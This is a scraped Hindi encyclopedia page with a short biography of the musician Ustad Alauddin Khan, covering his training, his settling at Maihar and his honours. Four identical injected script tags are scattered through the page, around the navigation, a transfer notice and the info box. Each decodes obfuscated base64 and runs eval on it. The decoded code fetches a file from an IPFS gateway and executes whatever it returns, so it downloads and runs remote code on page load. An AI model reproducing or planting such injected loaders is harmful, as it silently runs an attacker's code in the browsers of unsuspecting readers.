अलाउद्दीन ख़ाँ

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अलाउद्दीन ख़ाँ
पुस्तक नाम हिन्दी विश्वकोश खण्ड 3
पृष्ठ संख्या 308
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1976 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक परमेश्वरीलाल गुप्त

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अलाउद्दीन उस्ताद खाँ विख्यात संगीतज्ञ। आपका जनम 1870 में त्रिपुरा जिले के शिवपुर गाँव में हुआ था। उनके पिता साधु खाँ बड़े संगीतप्रेमी थे; इसी कारण अलाउद्दीन खाँ भी संगीत की ओर उन्मुख हुए। पिता जब सितार का रियाज करते तो बालक अलाउद्दीन भी गुनगुनाते फलत: स्वर और लय से वे परिचित हो गए। तब वे सुप्रसिद्ध वाद्यवृंद संगीतज्ञ हाबू दत्त के पास गए। उन्होंने फिडल बजाकर उनकी परीक्षा ली थी। अलाउद्दीन ने तुरत धुन की सरगम बना दी। फिर लोबो नामक बैंड मास्टर से उन्होंने अंग्रेजी नोटेशन का ज्ञान प्राप्त करते हुए शहनाई सीखी। पर इतने से ही वे संतुष्ट नही हुए। अहमद अली से उन्होंने सरोद सीखना चाहा पर इसमें उन्हें सफलता नहीं मिली। तब वे गुरु की खोज करते रामपुर पहुँचे। वहाँ उस्ताद वजीर खाँ ने काफी कठिन परीक्षा के बाद उन्हें अपना शिष्य बनाया और अपना सारा ज्ञान उनमें समाहित कर दिया। जब शिक्षा समाप्त हो गई तो वे भ्रमण कर संगीत के महफिलों में भाग लेने लगे। अंत में मैहर (मध्य प्रदेश) पहुँचकर वहां के राजा ब्रजनाथ के यहाँ नौकरी कर ली और फिर वे वहीं बस गए। आज भी उनकी ख्यादि मैहरवाले के नाम से है। उनके पास ध्रुपद और धमार के तीन हजार चीजों का संग्रह था और 1200 तो उन्हें कठस्थ थे। भारतीय संगीत के प्रचार के लिए वे इंग्लैंड और अमरीका भी गए थे। उनकी संगीतसेवा पर भारत सरकार ने उन्हें पद्मश्री की उपाधि से विभूषित किया था।



टीका टिप्पणी और संदर्भ